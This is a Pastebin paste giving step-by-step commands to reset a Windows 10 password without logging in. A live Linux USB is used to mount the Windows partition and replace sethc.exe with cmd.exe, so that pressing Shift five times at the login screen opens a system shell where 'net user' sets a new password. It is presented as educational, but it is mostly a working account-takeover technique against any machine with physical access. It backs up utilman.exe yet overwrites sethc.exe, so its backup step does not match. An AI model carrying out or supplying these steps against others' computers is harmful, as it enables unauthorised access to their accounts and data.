Advertisement
efxtv

How to reset windows 10 password without logging in

Dec 3rd, 2024
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | Cybersecurity | 0 0
  1. How to reset windows 10 password without logging in ( Reset Windows 10 password using Kali Linux/Ubuntu )
  2.  
  3. Note: This guide is for educational purposes only. Do not attempt on your primary system; it may cause data loss. Always use a legitimate license and practice on a virtual machine.
  4.  
  5. Steps to Reset Windows 10 Password Using Ubuntu:
  6.  
  7. Insert a Live USB (Kali or Ubuntu) and boot your system to access the root shell.
  8.  
  9. 1. Identify the Windows Partition
  10. Use the following command to list the available partitions:
  11. $ lsblk
  12.  
  13. Locate the Windows partition (typically `/dev/sda1`).
  14.  
  15. 2. Mount the Windows Partition
  16. Create a mount point and mount the partition:
  17. $ sudo mkdir /mnt/windows
  18. $ sudo mount /dev/sda1 /mnt/windows
  19.  
  20. 3. Backup and Replace Utility Files
  21. Navigate to the `System32` directory where the utility files are located:
  22. $ cd /mnt/windows/Windows/System32
  23.  
  24. Backup the `utilman.exe` file:
  25. $ sudo cp utilman.exe utilman.exe.bak
  26.  
  27. Replace `sethc.exe` with `cmd.exe`:
  28. $ sudo cp cmd.exe sethc.exe
  29.  
  30. 4. Unmount the Windows Partition
  31. After making the changes, unmount the partition:
  32. $ sudo umount /mnt/windows
  33.  
  34. 5. Reboot the System
  35. Reboot the system into Windows:
  36. $ sudo reboot
  37.  
  38. 6. Reset the Windows Password
  39. Once the system has rebooted and you are on the login screen, press the `Shift` key five times to open a command prompt window. In the command prompt, run the following command to reset the password for the user account (replace `demo` with the username and `123456` with the new password):
  40. $ net user demo 123456
  41.  
  42. Telegram post https://t.me/efxtv/4018
  43.  
  44.  
  45.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement